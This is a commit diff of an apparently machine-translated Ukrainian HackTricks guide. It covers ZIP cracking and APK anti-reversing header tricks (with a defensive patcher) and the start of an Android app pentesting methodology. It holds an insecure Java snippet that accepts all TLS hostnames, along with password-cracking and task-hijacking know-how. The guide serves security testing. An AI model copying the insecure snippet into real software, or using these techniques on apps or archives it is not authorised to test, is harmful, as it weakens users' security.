Translated ['', 'src/windows-hardening/active-directory-methodology/kerb

This commit is contained in:
Translator 2025-09-04 00:57:09 +00:00
parent 836b8a288a
commit fac91cfc2c
18 changed files with 1673 additions and 1689 deletions

View File

@ -2,23 +2,23 @@
{{#include ../../../banners/hacktricks-training.md}}
**Інструменти командного рядка** для роботи з **zip-файлами** необхідні для діагностики, відновлення та злому zip-файлів. Ось кілька ключових утиліт:
**Command-line tools** для роботи з **zip файлами** необхідні для діагностики, відновлення та злому zip-файлів. Ось ключові утиліти:
- **`unzip`**: Показує, чому zip-файл може не розпаковуватись.
- **`zipdetails -v`**: Надає детальний аналіз полів формату zip.
- **`unzip`**: Показує, чому zip-файл може не розпакуватись.
- **`zipdetails -v`**: Надає детальний аналіз полів формату zip-файлу.
- **`zipinfo`**: Перелічує вміст zip-файлу без його розпакування.
- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Спроби відновити пошкоджені zip-файли.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Інструмент для брутфорс-атаки паролів zip, ефективний для паролів приблизно до 7 символів.
- **`zip -F input.zip --out output.zip`** і **`zip -FF input.zip --out output.zip`**: Працюють над відновленням пошкоджених zip-файлів.
- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Інструмент для брутфорс-розшифровки паролів zip, ефективний для паролів до ~7 символів.
Специфікація формату файлу Zip: [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) містить вичерпні відомості про структуру та стандарти zip-файлів.
Детальна інформація про структуру та стандарти zip-файлів доступна в [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT).
Важливо зазначити, що zip-файли з паролем **не шифрують імена файлів та розміри файлів** всередині архіву — це недолік безпеки, якого немає в RAR або 7z, які шифрують цю інформацію. Крім того, zip-файли, зашифровані старим методом ZipCrypto, вразливі до **plaintext attack**, якщо доступна незашифрована копія стисненого файлу. Ця атака використовує відомий вміст для злому пароля архіву, вразливість описана в статті [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) і докладно пояснена в [цьому академічному документі](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Однак zip-файли, захищені **AES-256**, стійкі до цієї plaintext attack, що підкреслює важливість вибору надійних методів шифрування для конфіденційних даних.
Важливо зазначити, що password-protected zip files **не шифрують імена файлів або їх розміри** всередині архіву — недолік безпеки, якого немає у RAR або 7z, що шифрують цю інформацію. Крім того, zip-файли, зашифровані старішим методом ZipCrypto, вразливі до **plaintext attack**, якщо доступна незашифрована копія стисненого файлу. Ця атака використовує відомий вміст для підбору пароля архіву — вразливість описана в [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) і детальніше пояснена в [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). Однак zip-файли, захищені **AES-256**, стійкі до цієї plaintext attack, що підкреслює важливість вибору надійних методів шифрування для конфіденційних даних.
---
## Anti-reversing tricks in APKs using manipulated ZIP headers
## Антиреверс-трюки в APK, які використовують модифіковані заголовки ZIP
Сучасні Android malware droppers використовують пошкоджені метадані ZIP, щоб зламати статичні інструменти (jadx/apktool/unzip), при цьому APK залишається встановлюваним на пристрої. Найпоширеніші трюки:
Сучасні Android malware droppers використовують пошкоджені метадані ZIP, щоб ламати статичні інструменти (jadx/apktool/unzip), при цьому APK залишається встановлюваним на пристрої. Найпоширеніші трюки:
- Fake encryption by setting the ZIP General Purpose Bit Flag (GPBF) bit 0
- Abusing large/custom Extra fields to confuse parsers
@ -27,12 +27,12 @@
### 1) Fake encryption (GPBF bit 0 set) without real crypto
Симптоми:
- `jadx-gui` падає з помилками на кшталт:
- `jadx-gui` завершує роботу з помилками на кшталт:
```
java.util.zip.ZipException: invalid CEN header (encrypted entry)
```
- `unzip` запитує пароль для ключових файлів APK, хоча в дійсному APK не може бути зашифрованих `classes*.dex`, `resources.arsc`, або `AndroidManifest.xml`:
- `unzip` запитує пароль для ключових файлів APK, хоча валідний APK не може мати зашифровані `classes*.dex`, `resources.arsc` або `AndroidManifest.xml`:
```bash
unzip sample.apk
@ -47,7 +47,7 @@ skipping: classes2.dex incorrect password
```bash
zipdetails -v sample.apk | less
```
Подивіться на General Purpose Bit Flag для локальних та центральних заголовків. Характерне значення — встановлений bit 0 (Encryption) навіть для основних записів:
Подивіться на General Purpose Bit Flag для локальних і центральних заголовків. Показовим значенням є встановлений біт 0 (Encryption) навіть для core entries:
```
Extract Zip Spec 2D '4.5'
General Purpose Flag 0A09
@ -56,9 +56,9 @@ General Purpose Flag 0A09
[Bit 3] 1 'Streamed'
[Bit 11] 1 'Language Encoding'
```
Евристика: Якщо APK встановлюється й запускається на пристрої, але основні записи інструментів виглядають як «зашифровані», то GPBF було змінено.
Евристика: Якщо APK встановлюється і запускається на пристрої, але основні записи виглядають "зашифрованими" для інструментів, GPBF був змінений.
Виправлення: очистіть біт 0 GPBF як у Local File Headers (LFH), так і в записах Central Directory (CD). Мінімальний byte-patcher:
Виправлення: Очистіть біт 0 GPBF у записах Local File Headers (LFH) та Central Directory (CD). Мінімальний byte-patcher:
```python
# gpbf_clear.py clear encryption bit (bit 0) in ZIP local+central headers
import struct, sys
@ -94,33 +94,33 @@ print(f'Patched: LFH={p_lfh}, CDH={p_cdh}')
python3 gpbf_clear.py obfuscated.apk normalized.apk
zipdetails -v normalized.apk | grep -A2 "General Purpose Flag"
```
Тепер ви повинні побачити `General Purpose Flag 0000` у основних записах, і інструменти знову зможуть parse APK.
Тепер ви повинні бачити `General Purpose Flag 0000` на основних записах, і інструменти знову розберуть APK.
### 2) Великі/нестандартні Extra fields, що ламають parsers
### 2) Великі/кастомні Extra поля, що ламають парсери
Зловмисники додають надто великі Extra fields і дивні ID у заголовки, щоб збити з пантелику decompilers. У реальних зразках ви можете побачити користувацькі маркери (наприклад, рядки на кшталт `JADXBLOCK`) вбудовані там.
Атакуючі запихають у заголовки надвеликий Extra поля та дивні ID, щоб збити з пантелику декомпілятори. У реальному житті ви можете побачити там кастомні маркери (наприклад, рядки на кшталт `JADXBLOCK`) вкладені там.
Перевірка:
```bash
zipdetails -v sample.apk | sed -n '/Extra ID/,+4p' | head -n 50
```
Спостерігалися приклади: невідомі ID, такі як `0xCAFE` ("Java Executable") або `0x414A` ("JA:") що містять великі payloads.
Приклади, що спостерігалися: невідомі ідентифікатори, такі як `0xCAFE` ("Java Executable") або `0x414A` ("JA:") з великими payload'ами.
Евристики DFIR:
- Сповіщати, коли Extra fields ненормально великі в ключових записах (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
DFIR евристики:
- Попереджати, коли Extra поля незвично великі в основних записах (`classes*.dex`, `AndroidManifest.xml`, `resources.arsc`).
- Розглядати невідомі Extra ID у цих записах як підозрілі.
Практичне рішення: перебудова архіву (наприклад, повторне запакування витягнутих файлів) видаляє шкідливі Extra-поля. Якщо інструменти відмовляються витягувати через фейкове шифрування, спочатку очистіть GPBF bit 0, як зазначено вище, потім повторно запакуйте:
Практичні заходи: перебудова архіву (наприклад, повторне zip-архівування вилучених файлів) видаляє шкідливі Extra поля. Якщо інструменти відмовляються витягувати через підроблене шифрування, спочатку очистіть GPBF біт 0, як зазначено вище, потім переупакуйте:
```bash
mkdir /tmp/apk
unzip -qq normalized.apk -d /tmp/apk
(cd /tmp/apk && zip -qr ../clean.apk .)
```
### 3) Файлові/директорні колізії імен (приховування реальних артефактів)
### 3) Колізії імен файлів/каталогів (приховування реальних артефактів)
ZIP може містити одночасно файл `X` і директорію `X/`. Деякі утиліти розпаковування та декомпілятори плутаються і можуть накладати або приховувати реальний файл директорним записом. Це спостерігалося при колізіях записів з основними іменами APK, такими як `classes.dex`.
ZIP архів може містити одночасно файл `X` і каталог `X/`. Деякі екстрактори та декомпілятори можуть заплутатися і перекрити або приховати реальний файл записом каталогу. Це спостерігалося при колізіях з основними іменами в APK, наприклад `classes.dex`.
Тріаж і безпечне витягнення:
Тріаж та безпечне вилучення:
```bash
# List potential collisions (names that differ only by trailing slash)
zipinfo -1 sample.apk | awk '{n=$0; sub(/\/$/,"",n); print n}' | sort | uniq -d
@ -131,7 +131,7 @@ unzip normalized.apk -d outdir
# replace outdir/classes.dex? [y]es/[n]o/[A]ll/[N]one/[r]ename: r
# new name: unk_classes.dex
```
Програмне виявлення постфікса:
Постфікс для програмного виявлення:
```python
from zipfile import ZipFile
from collections import defaultdict
@ -148,10 +148,10 @@ for base, variants in collisions.items():
if len(variants) > 1:
print('COLLISION', base, '->', variants)
```
Blue-team виявлення ідеї:
- Позначати APK, у яких локальні заголовки вказують шифрування (GPBF bit 0 = 1), але вони встановлюються/запускаються.
- Позначати великі/невідомі Extra fields у core entries (шукати маркери на кшталт `JADXBLOCK`).
- Позначати колізії шляхів (`X` and `X/`) зокрема для `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
Ідеї виявлення для Blue-team:
- Позначати APKs, чиї локальні заголовки вказують на шифрування (GPBF bit 0 = 1), але при цьому встановлюються/запускаються.
- Позначати великі/невідомі Extra поля в основних записах (шукати маркери на кшталт `JADXBLOCK`).
- Позначати колізії шляхів (`X` та `X/`) зокрема для `AndroidManifest.xml`, `resources.arsc`, `classes*.dex`.
---

File diff suppressed because it is too large Load Diff

View File

@ -1,10 +1,10 @@
# Pentesting Android-застосунків
# Додатки Android Pentesting
{{#include ../../banners/hacktricks-training.md}}
## Основи Android-застосунків
## Основи додатків Android
Рекомендується почати з прочитання цієї сторінки, щоб дізнатися про **найважливіші частини, пов'язані з безпекою Android, та найбільш небезпечні компоненти в Android-застосунку**:
Рекомендується почати з цієї сторінки, щоб дізнатися про **найважливіші компоненти, пов'язані з безпекою Android, та найбільш небезпечні складові в Android-додатку**:
{{#ref}}
@ -13,15 +13,15 @@ android-applications-basics.md
## ADB (Android Debug Bridge)
Це основний інструмент, який потрібен для підключення до Android-пристрою (емулятор чи фізичний).\
**ADB** дозволяє керувати пристроями через **USB** або **Network** з комп'ютера. Ця утиліта дає змогу **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** додатки, **виконувати** shell-команди, **робити резервні копії** даних, **читати** логи та виконувати інші функції.
This is the main tool you need to connect to an android device (emulated or physical).\
**ADB** дозволяє керувати пристроями по **USB** або **Network** з комп'ютера. Ця утиліта дозволяє **копіювати** файли в обох напрямках, **встановлювати** та **видаляти** apps, **виконувати** shell-команди, **резервно зберігати** дані, **читати** logs, та інші функції.
Перегляньте наступний список [**ADB Commands**](adb-commands.md), щоб дізнатися, як користуватися adb.
Перегляньте наступний список [**ADB Commands**](adb-commands.md), щоб дізнатися, як використовувати adb.
## Smali
Іноді цікаво **змінити код додатка**, щоб отримати доступ до **прихованої інформації** (наприклад, добре обфусцованих паролів або флагів). Тоді може бути корисно декомпілювати apk, змінити код і перекомпілювати його.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, які будуть представлені. Отже, **завжди пам'ятайте про цю можливість**.
Іноді буває цікаво **змінити код додатку**, щоб отримати доступ до **прихованої інформації** (можливо добре обфусцовані паролі або flags). Тоді може бути цікаво декомпілювати the apk, змінити код і перекомпілювати його.\
[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md). Це може бути дуже корисно як **альтернатива для кількох тестів під час динамічного аналізу**, що будуть представлені. Тому **завжди майте на увазі цю можливість**.
## Інші цікаві трюки
@ -29,8 +29,8 @@ android-applications-basics.md
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
- [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md)
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Витягти APK з пристрою:
- **Завантажити APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
- Витягнути APK з пристрою:
```bash
adb shell pm list packages
com.android.insecurebankv2
@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
```
- Об'єднайте всі splits та base apks за допомогою [APKEditor](https://github.com/REAndroid/APKEditor):
- Об'єднайте всі splits і base apks за допомогою [APKEditor](https://github.com/REAndroid/APKEditor):
```bash
mkdir splits
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits
@ -63,40 +63,39 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
## Статичний аналіз
Перш за все, для аналізу APK слід **подивитися на Java code** за допомогою decompiler.\
Please, [**read here to find information about different available decompilers**](apk-decompilers.md).
По-перше, для аналізу APK слід **переглянути Java-код** за допомогою decompiler.\
Будь ласка, [**прочитайте тут, щоб знайти інформацію про різні доступні decompilers**](apk-decompilers.md).
### Пошук цікавої інформації
Просто переглянувши **strings** APK, можна шукати **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** та все, що цікаве... перевіряйте навіть на наявність code execution **backdoors** або authentication backdoors (hardcoded admin credentials до додатку).
Просто переглянувши **strings** у APK, можна шукати **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** та все, що може бути цікавим... шукайте навіть code execution **backdoors** або authentication backdoors (жорстко вбудовані admin credentials у додатку).
**Firebase**
Зверніть особливу увагу на **firebase URLs** та перевірте, чи не налаштовано його неправильно. [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
Зверніть особливу увагу на **firebase URLs** і перевірте, чи вони неправильно налаштовані. [Більше інформації про те, що таке Firebase і як його експлуатувати тут.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
### Базове розуміння застосунку - Manifest.xml, strings.xml
The **examination of an application's _Manifest.xml_ and **_strings.xml_** files can reveal potential security vulnerabilities**. Ці файли можна отримати за допомогою decompilers або перейменувавши розширення файлу APK на .zip і розпакувавши його.
Дослідження файлів застосунку _Manifest.xml_ та _strings.xml_ може виявити потенційні вразливості. Ці файли можна отримати за допомогою decompilers або перейменувавши розширення APK на .zip і розпакувавши його.
**Вразливості**, виявлені у **Manifest.xml**, включають:
**Вразливості**, які можна виявити в **Manifest.xml**, включають:
- **Debuggable Applications**: Applications, встановлені як debuggable (`debuggable="true"`) у файлі _Manifest.xml_ становлять ризик, оскільки дозволяють з'єднання, що можуть призвести до експлуатації. Для детальнішого розуміння того, як експлуатувати debuggable applications, зверніться до tutorial про пошук і експлуатацію debuggable applications на пристрої.
- **Backup Settings**: Атрибут `android:allowBackup="false"` має бути явно встановлений для додатків, що працюють з чутливою інформацією, щоб запобігти несанкціонованому резервному копіюванню даних через adb, особливо коли usb debugging увімкнено.
- **Network Security**: Custom network security configurations (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати деталі безпеки, такі як certificate pins і налаштування HTTP-трафіку. Наприклад, можна дозволити HTTP-трафік для певних доменів.
- **Exported Activities and Services**: Виявлення exported activities and services у manifest може вказати на компоненти, якими можуть зловживати. Подальший аналіз під час dynamic testing може показати, як експлуатувати ці компоненти.
- **Content Providers and FileProviders**: Відкриті content providers можуть дозволити несанкціонований доступ або зміну даних. Конфігурацію FileProviders також слід ретельно перевіряти.
- **Broadcast Receivers and URL Schemes**: Ці компоненти можуть бути використані для експлуатації, з особливою увагою до того, як URL schemes обробляються для можливих векторів введення.
- **SDK Versions**: Атрибути `minSdkVersion`, `targetSDKVersion` і `maxSdkVersion` вказують на підтримувані версії Android, наголошуючи на важливості уникнення підтримки застарілих, вразливих версій Android з міркувань безпеки.
- **Debuggable Applications**: Застосунки, які мають `debuggable="true"` у _Manifest.xml_, становлять ризик, оскільки вони дозволяють підключення, що може призвести до експлуатації. Для подальшого розуміння того, як експлуатувати debuggable застосунки, зверніться до керівництва з пошуку та експлуатації debuggable застосунків на пристрої.
- **Backup Settings**: Атрибут `android:allowBackup="false"` слід явно встановлювати для застосунків, що працюють з чутливою інформацією, щоб запобігти несанкціонованому резервному копіюванню даних через adb, особливо коли увімкнено usb debugging.
- **Network Security**: Користувацькі налаштування network security (`android:networkSecurityConfig="@xml/network_security_config"`) у _res/xml/_ можуть вказувати параметри безпеки, як-от certificate pins та налаштування HTTP traffic. Наприклад, дозволи для HTTP-трафіку для певних доменів.
- **Exported Activities and Services**: Виявлення exported activities і services у manifest може вказати на компоненти, які можна зловживати. Подальший аналіз під час динамічного тестування може показати, як експлуатувати ці компоненти.
- **Content Providers and FileProviders**: Відкриті content providers можуть дозволити несанкціонований доступ або зміну даних. Слід ретельно перевірити конфігурацію FileProviders.
- **Broadcast Receivers and URL Schemes**: Ці компоненти можуть бути використані для експлуатації, особливо звертайте увагу на те, як обробляються URL schemes для можливих вразливостей вводу.
- **SDK Versions**: Атрибути `minSdkVersion`, `targetSDKVersion` і `maxSdkVersion` вказують підтримувані версії Android, підкреслюючи важливість уникнення підтримки застарілих, уразливих версій Android.
З файлу **strings.xml** можна знайти чутливу інформацію, таку як API keys, custom schemas та інші developer notes, що підкреслює необхідність ретельного перегляду цих ресурсів.
З файлу **strings.xml** можна знайти чутливу інформацію, таку як API keys, custom schemas та інші примітки розробників, що підкреслює необхідність ретельного перегляду цих ресурсів.
### Tapjacking
**Tapjacking** — це атака, коли **malicious application** запускається і розташовується поверх victim application. Коли воно візуально закриває victim app, його інтерфейс користувача спроектований так, щоб обманути користувача взаємодіяти з ним, водночас передаючи взаємодію жертві.\
Фактично, це **осліплює користувача, не даючи йому знати, що він насправді виконує дії у victim app**.
Find more information in:
**Tapjacking** — це атака, коли **зловмисний додаток** запускається й **розміщується поверх додатку-жертви**. Коли воно візуально затуляє жертву, його інтерфейс спроектовано так, щоб обдурити користувача і змусити його взаємодіяти з ним, тоді як взаємодія передається до додатку-жертви.\
Фактично, це **позбавляє користувача можливості знати, що він насправді виконує дії у додатку-жертві**.
Детальніше в:
{{#ref}}
tapjacking.md
@ -104,78 +103,77 @@ tapjacking.md
### Task Hijacking
Activity з `launchMode`, встановленим у `singleTask` без визначеного `taskAffinity`, вразлива до Task Hijacking. Це означає, що зловмисний **application** може бути встановлений і, якщо запущений перед реальним додатком, може **hijack the task** реального додатка (тому користувач взаємодіятиме з **malicious application**, думаючи, що використовує справжній).
More info in:
Activity з `launchMode`, встановленим у `singleTask` без визначеного `taskAffinity`, уразлива до Task Hijacking. Це означає, що шкідливий додаток може бути встановлений і, якщо його запустити перед реальним додатком, він може **перехопити task реального додатку** (тому користувач взаємодіятиме зі **зловмисним додатком, думаючи, що використовує реальний**).
Детальніше в:
{{#ref}}
android-task-hijacking.md
{{#endref}}
### Insecure data storage
### Небезпечне збереження даних
**Internal Storage**
В Android файли, що зберігаються у internal storage, призначені бути доступними виключно для app, який їх створив. Цей захід безпеки застосовується операційною системою Android і зазвичай є достатнім для потреб безпеки більшості застосунків. Проте розробники іноді використовують режими, такі як `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE`, щоб дозволити sharing файлів між різними applications. Однак ці режими **не обмежують доступ** до цих файлів іншими applications, включно з потенційно malicious ones.
У Android файли, що зберігаються у внутрішньому сховищі, призначені бути доступними виключно для додатку, який їх створив. Цей захід безпеки примусово застосовується операційною системою Android і загалом відповідає потребам безпеки більшості додатків. Проте розробники іноді використовують режими на кшталт `MODE_WORLD_READABLE` та `MODE_WORLD_WRITABLE`, щоб дозволити спільний доступ до файлів між різними додатками. Однак ці режими **не обмежують доступ** до цих файлів іншими додатками, у тому числі потенційно шкідливими.
1. **Static Analysis:**
- **Ensure** що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` **ретельно перевіряється**. Ці режими **можуть потенційно розкрити** файли для **непередбаченого або несанкціонованого доступу**.
- **Переконайтеся**, що використання `MODE_WORLD_READABLE` і `MODE_WORLD_WRITABLE` ретельно перевіряється. Ці режими **можуть потенційно зробити файли доступними** для небажаного або несанкціонованого доступу.
2. **Dynamic Analysis:**
- **Verify** права доступу, встановлені на файлах, створених додатком. Зокрема, **перевіряйте**, чи будь-які файли **встановлені як readable або writable worldwide**. Це може становити значний ризик безпеки, оскільки дозволить **будь-якому application**, встановленому на пристрої, незалежно від його походження чи намірів, **читати або змінювати** ці файли.
- **Перевірте** дозволи на файли, створені додатком. Зокрема, **перевірте**, чи встановлені які-небудь файли як доступні для читання або запису для всіх. Це може становити значний ризик безпеки, оскільки дозволяє **будь-якому додатку**, встановленому на пристрої, незалежно від його походження чи намірів, **читати або змінювати** ці файли.
**External Storage**
При роботі з файлами на external storage, такими як SD Cards, слід врахувати певні заходи безпеки:
При роботі з файлами на external storage, таких як SD Cards, слід врахувати такі застереження:
1. **Accessibility**:
- Файли на external storage є **глобально читаними і записуваними**. Це означає, що будь-який application або користувач може отримати до них доступ.
2. **Security Concerns**:
- Через легкість доступу не радиться зберігати чутливу інформацію на external storage.
- External storage може бути вилучено або доступне будь-якому application, що робить його менш захищеним.
3. **Handling Data from External Storage**:
- Завжди **виконуйте валідацію введення** для даних, отриманих з external storage. Це критично важливо, оскільки дані надходять з недовіреного джерела.
- Не рекомендується зберігати виконувані файли або class files на external storage для динамічного завантаження.
- Якщо ваш додаток має отримувати виконувані файли з external storage, переконайтеся, що ці файли **підписані і криптографічно перевірені** перед їх динамічним завантаженням. Цей крок є вирішальним для підтримки цілісності безпеки вашого додатку.
1. **Доступність**:
- Файли на external storage зазвичай **загально доступні для читання і запису**. Це означає, що будь-який додаток або користувач може отримати до них доступ.
2. **Питання безпеки**:
- Через простоту доступу не рекомендується зберігати на external storage чутливу інформацію.
- External storage можна вийняти або до нього може отримати доступ будь-який додаток, що робить його менш безпечним.
3. **Обробка даних з external storage**:
- Завжди **виконуйте валідацію вводу** для даних, отриманих з external storage. Це критично, оскільки дані походять з ненадійного джерела.
- Не рекомендується зберігати виконувані файли або class-файли на external storage для динамічного завантаження.
- Якщо ваш додаток все ж має отримувати виконувані файли з external storage, переконайтеся, що ці файли **підписані та криптографічно перевірені** перед динамічним завантаженням. Цей крок є важливим для збереження цілісності безпеки вашого додатку.
External storage можна **доступитися** в `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
External storage можна **знайти** в `/storage/emulated/0` , `/sdcard` , `/mnt/sdcard`
> [!TIP]
> Починаючи з Android 4.4 (**API 17**), SD card має структуру директорій, яка **обмежує доступ додатку лише до директорії, яка призначена спеціально для цього додатку**. Це перешкоджає malicious application отримати доступ для читання або запису до файлів іншого додатку.
> Починаючи з Android 4.4 (**API 17**), структура директорій на SD-карті **обмежує доступ додатка лише до каталогу, призначеного конкретно для цього додатка**. Це запобігає тому, щоб шкідливий додаток отримав доступ для читання або запису файлів іншого додатку.
**Чутливі дані, збережені у відкритому тексті**
**Чутливі дані, збережені у відкритому вигляді**
- **Shared preferences**: Android дозволяє кожному application легко зберігати xml-файли за шляхом `/data/data/<packagename>/shared_prefs/` і іноді в цій папці можна знайти чутливу інформацію у clear-text.
- **Databases**: Android дозволяє кожному application легко зберігати sqlite databases за шляхом `/data/data/<packagename>/databases/` і іноді в цій папці можна знайти чутливу інформацію у clear-text.
- **Shared preferences**: Android дозволяє кожному додатку зручно зберігати xml-файли за шляхом `/data/data/<packagename>/shared_prefs/`, і іноді у цій папці можна знайти чутливу інформацію у відкритому вигляді.
- **Databases**: Android дозволяє кожному додатку зручно зберігати sqlite бази даних за шляхом `/data/data/<packagename>/databases/`, і іноді у цій папці можна знайти чутливу інформацію у відкритому вигляді.
### Broken TLS
### Проблеми з TLS
**Accept All Certificates**
З якоїсь причини іноді розробники приймають всі certificates навіть якщо, наприклад, hostname не збігається, з рядками коду, подібними до наступного:
З якоїсь причини іноді розробники приймають усі сертифікати, навіть якщо, наприклад, hostname не збігається, з рядками коду на кшталт наступного:
```java
SSLSocketFactory sf = new cc(trustStore);
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
```
A good way to test this is to try to capture the traffic using some proxy like Burp without authorising Burp CA inside the device. Also, you can generate with Burp a certificate for a different hostname and use it.
### Ненадійна криптографія
### Неправильна криптографія
**Погані процеси управління ключами**
Деякі розробники зберігають чутливі дані в локальному сховищі і шифрують їх ключем, вбудованим/передбачуваним у коді. Так робити не слід, оскільки при зворотній інженерії атакуючі можуть витягти конфіденційну інформацію.
Деякі розробники зберігають конфіденційні дані у локальному сховищі й шифрують їх ключем, який закодовано в коді або є передбачуваним (hardcoded/predictable). Так не слід робити, оскільки деякий reversing може дозволити атакувальникам витягти конфіденційну інформацію.
**Використання небезпечних та/або застарілих алгоритмів**
**Використання небезпечних і/або застарілих алгоритмів**
Розробники не повинні використовувати **deprecated algorithms** для виконання перевірок авторизації, зберігання або відправлення даних. Деякі з цих алгоритмів: RC4, MD4, MD5, SHA1... Якщо, наприклад, для зберігання паролів використовуються **хеші**, слід застосовувати хеші, стійкі до брутфорсу, з використанням salt.
Розробникам не слід використовувати **deprecated algorithms** для виконання авторизаційних перевірок, збереження або відправки даних. Деякі з таких алгоритмів: RC4, MD4, MD5, SHA1... Якщо для збереження паролів використовуються **hashes**, слід застосовувати стійкі до **brute-force** hashes з salt.
### Інші перевірки
- Рекомендується **обфускувати APK**, щоб ускладнити роботу реверс-інженерам/атакуючим.
- Якщо додаток чутливий (наприклад банківські додатки), він повинен виконувати власні перевірки, щоб визначити, чи пристрій є **rooted**, і діяти відповідно.
- Якщо додаток чутливий (наприклад банківські додатки), він повинен перевіряти, чи використовується **emulator**.
- Якщо додаток чутливий (наприклад банківські додатки), він повинен **перевіряти власну цілісність перед виконанням**, щоб з'ясувати, чи його було змінено.
- Use [**APKiD**](https://github.com/rednaga/APKiD) to check which compiler/packer/obfuscator was used to build the APK
- Рекомендується **obfuscate the APK**, щоб ускладнити роботу reverse engineer для атакувальників.
- Якщо додаток є критичним (наприклад банківський), він має виконувати власні перевірки, щоб визначити, чи мобільний пристрій rooted, і діяти відповідно.
- Якщо додаток є критичним (наприклад банківський), він має перевіряти, чи використовується **emulator**.
- Якщо додаток є критичним (наприклад банківський), він має **check it's own integrity before executing** щоб перевірити, чи не було його змінено.
- Використовуйте [**APKiD**](https://github.com/rednaga/APKiD), щоб перевірити, який compiler/packer/obfuscator був використаний для збірки APK
### React Native Application
@ -216,7 +214,7 @@ An application may contain secrets (API keys, passwords, hidden urls, subdomains
bypass-biometric-authentication-android.md
{{#endref}}
### Other interesting functions
### Інші цікаві функції
- **Code execution**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Send SMSs**: `sendTextMessage, sendMultipartTestMessage`
@ -234,23 +232,23 @@ content-protocol.md
---
## Динамічний аналіз
## Динамічний Аналіз
> First of all, you need an environment where you can install the application and all the environment (Burp CA cert, Drozer and Frida mainly). Therefore, a rooted device (emulated or not) is extremely recommended.
> Перш за все, вам потрібне середовище, де можна встановити додаток та всі інструменти (Burp CA cert, Drozer and Frida головним чином). Тому настійно рекомендується rooted пристрій (емулятор чи ні).
### Онлайн динамічний аналіз
You can create a **free account** in: [https://appetize.io/](https://appetize.io). This platform allows you to **upload** and **execute** APKs, so it is useful to see how an apk is behaving.
Ви можете створити **free account** на: [https://appetize.io/](https://appetize.io). Ця платформа дозволяє вам **upload** і **execute** APKs, тому корисна, щоб подивитися, як apk поводиться.
You can even **see the logs of your application** in the web and connect through **adb**.
Ви навіть можете **see the logs of your application** в вебі та підключитися через **adb**.
![](<../../images/image (831).png>)
Thanks to the ADB connection you can use **Drozer** and **Frida** inside the emulators.
Завдяки ADB-з'єднанню ви можете використовувати **Drozer** і **Frida** всередині емуляторів.
### Локальний динамічний аналіз
#### Using an emulator
#### Використання емулятора
- [**Android Studio**](https://developer.android.com/studio) (You can create **x86** and **arm** devices, and according to [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**latest x86** versions **support ARM libraries** without needing an slow arm emulator).
- Learn to set it up in this page:
@ -289,7 +287,7 @@ You need to activate the **debugging** options and it will be cool if you can **
**Logging**
Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability.
Розробникам слід остерігатися публічного розкриття **debugging information**, оскільки це може призвести до чутливих data leak. Для моніторингу логів додатку та виявлення і захисту чутливої інформації рекомендовано використовувати інструменти [**pidcat**](https://github.com/JakeWharton/pidcat) і `adb logcat`. **Pidcat** цінується за простоту використання та читабельність.
> [!WARNING]
> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\
@ -297,7 +295,7 @@ Developers should be cautious of exposing **debugging information** publicly, as
**Copy/Paste Buffer Caching**
